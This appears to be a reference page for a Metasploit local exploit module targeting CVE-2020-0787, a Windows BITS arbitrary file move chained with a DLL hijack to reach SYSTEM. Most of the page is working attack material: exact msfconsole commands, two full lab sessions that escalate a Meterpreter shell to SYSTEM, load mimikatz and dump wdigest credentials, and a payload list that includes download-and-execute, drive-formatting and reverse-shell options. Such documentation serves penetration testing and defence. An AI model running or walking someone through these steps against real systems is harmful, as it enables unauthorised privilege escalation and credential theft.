Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
Module: exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
Source code: modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb
Disclosure date: 2020-03-10
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-0688, CVE-2020-0787
This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the Background Intelligent Transfer Service (BITS), to overwrite C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL containing the attacker's payload. To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking issue within the Update Session Orchestrator Service. Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, so your mileage may vary on Windows Server 2016 and later.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > show targets
... a list of targets ...
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > set TARGET target-id
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > show options
... show and set options ...
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > set SESSION session-id
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
The Windows Background Intelligent Transfer Service (BITS), prior to the March 2020 update, did not apply impersonation when an undocumented COM method, QueryNewJobInterface(), was called. This meant that the BITS temporary file that is created when a job is created and added to the BITS job queue would be copied as the SYSTEM user. By abusing symbolic links, an attacker can take advantage of this vulnerability to write arbitrary files to arbitrary locations as the SYSTEM user.
This vulnerability affects all Windows versions from Windows 7 onwards, up to but not including Windows 10 v2004. Note that exploiting the vulnerability on its own does not allow an attacker to gain privileges; rather an attacker must find a DLL hijacking vulnerability or similar in a SYSTEM level service that they can exploit using the arbitrary file move provided by CVE-2020-0787 in order to gain privileges.
Presently the module solves this issue by taking advantage of a DLL hijacking vulnerability within the Update Session Orchestrator, a service that was introduced starting with Windows 10. By creating a file at C:\Windows\System32\WindowsCoreDeviceInfo.dll, an attacker can ensure that when a Update Session is created via the Update Session Orchestrator service, their malicious payload, located at C:\Windows\System32\WindowsCoreDeviceInfo.dll, will be executed with SYSTEM permissions. Support for other LPE methods that affect other versions of Windows may be added in the future.
Installation And Setup
All affected systems should have the BITS service installed and running. If an affected system does not have the the BITS service running, then the BITS service will need to be started on that host prior to exploiting this vulnerability.
Verification Steps
- Start msfconsole
- Get a session with basic privileges on a Windows 10 machine
- Do:
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- Do:
set payload windows/x64/<payload>
if the target is an x64 machine, orset payload windows/<payload>
if the target is an x86 machine. - Do:
set SESSION <sess_no>
- Do:
set JOB_WAIT_TIME <seconds>
to set the number of seconds you want to wait for the BITS job to complete. - Do: Set the
LPORT
andRHOST
options for the payload as needed. - Do:
run
- You should get a shell running as SYSTEM a few seconds after the
JOB_WAIT_TIME
timer expires.
Options
OVERWRITE_DLL Overwrite WindowsCreDeviceInfo.dll if it exists (false by default). WindowsCoreDeviceInfo.dll is not present by default, but if it is present, it is likely loaded, so even with this set to true, the overwrite (and exploit) will likely end up failing.
JOB_WAIT_TIME Amount of time, in seconds, to wait for CVE-2020-0787.x64.dll or CVE-2020-0787.x86.dll to finish running before attempting to load uso_trigger.x86.dll or uso_trigger.x64.dll to conduct the local privilege elevation. The main reason for configuring this option is that the BITS job that CVE-2020-0787.x64.dll or CVE-2020-0787.x86.dll will set up can take a long time to run depending on the load of the target computer, so this allows one to add some additional delay if needed to ensure the BITS job has successfully completed prior to attempting to conduct the LPE.
Scenarios
Windows 10 v1909 x64 - Build 18363.418
msf5 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.26.22.128:4444
[*] Sending stage (201283 bytes) to 172.26.22.128
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.26.22.128:4444) at 2020-06-10 12:00:00 -0500
meterpreter > getuid
Server username: DESKTOP-NRCNIDN\normal
meterpreter > sysinfo
Computer : DESKTOP-NRCNIDN
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options
Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 60 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows DLL Dropper
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options
Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 60 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Windows DLL Dropper
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.22.128
RHOST => 172.26.22.128
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 9988
LPORT => 9988
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options
Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 60 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 9988 yes The listen port
RHOST 172.26.22.128 no The target address
Exploit target:
Id Name
-- ----
0 Windows DLL Dropper
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSIOn 2
SESSIOn => 2
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 40
JOB_WAIT_TIME => 40
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit
[*] Step #1: Checking target environment...
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 94208 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 7344 launched.
[*] Injecting DLL into 7344...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 40 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.22.128:9988
[*] Sending stage (201283 bytes) to 172.26.22.128
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 172.26.22.128:9988) at 2020-06-10 12:03:39 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-NRCNIDN
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-NRCNIDN$ WORKGROUP (null)
normal DESKTOP-NRCNIDN (null)
test DESKTOP-NRCNIDN (null)
meterpreter >
Windows 10 v1903 x86 - Build 18362.30
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.26.17.231 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.26.17.231:4444
[*] Sending stage (176195 bytes) to 172.26.17.231
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.26.17.231:4444) at 2020-06-10 12:16:12 -0500
meterpreter > getuid
Server username: DESKTOP-PL99PE8\test
meterpreter > sysinfo
Computer : DESKTOP-PL99PE8
OS : Windows 10 (10.0 Build 18362).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSION 4
SESSION => 4
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options
Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 40 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION 4 yes The session to run this module on.
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 9988 yes The listen port
RHOST 172.26.22.128 no The target address
Exploit target:
Id Name
-- ----
0 Windows DLL Dropper
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.17.231
RHOST => 172.26.17.231
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 8822
LPORT => 8822
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 30
JOB_WAIT_TIME => 30
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit
[*] Step #1: Checking target environment...
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 78336 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 10136 launched.
[*] Injecting DLL into 10136...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 30 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.17.231:8822
[*] Sending stage (176195 bytes) to 172.26.17.231
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 172.26.17.231:8822) at 2020-06-10 12:18:16 -0500
meterpreter > sysinfo
Computer : DESKTOP-PL99PE8
OS : Windows 10 (10.0 Build 18362).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-PL99PE8$ WORKGROUP (null)
test DESKTOP-PL99PE8 (null)
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show info
Name: Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
Module: exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
Platform: Windows
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-03-10
Provided by:
itm4n
gwillcox-r7
Module side effects:
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows DLL Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 20 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits CVE-2020-0787, an arbitrary file move
vulnerability in outdated versions of the Background Intelligent
Transfer Service (BITS), to overwrite
C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL
containing the attacker's payload. To achieve code execution as the
SYSTEM user, the Update Session Orchestrator service is then
started, which will result in the malicious
WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a
DLL hijacking issue within the Update Session Orchestrator Service.
Note that presently this module only works on Windows 10 and Windows
Server 2016 and later as the Update Session Orchestrator Service was
only introduced in Windows 10. Note that only Windows 10 has been
tested, so your mileage may vary on Windows Server 2016 and later.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-0787
https://itm4n.github.io/cve-2020-0787-windows-bits-eop/
https://github.com/itm4n/BitsArbitraryFileMove
https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://itm4n.github.io/usodllloader-part1/
https://itm4n.github.io/usodllloader-part2/
Module Options
This is a complete list of options available in the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options
Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
JOB_WAIT_TIME 20 yes Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
OVERWRITE_DLL false yes Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows DLL Dropper
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show advanced
Module advanced options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 900 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2020_0787_bits_arbitrary_file_move module can exploit:
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show targets
Exploit targets:
Id Name
-- ----
0 Windows DLL Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
61 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
62 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
63 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
64 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
65 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
66 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
67 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
68 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
69 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
70 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
71 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
72 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
73 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
75 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
76 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
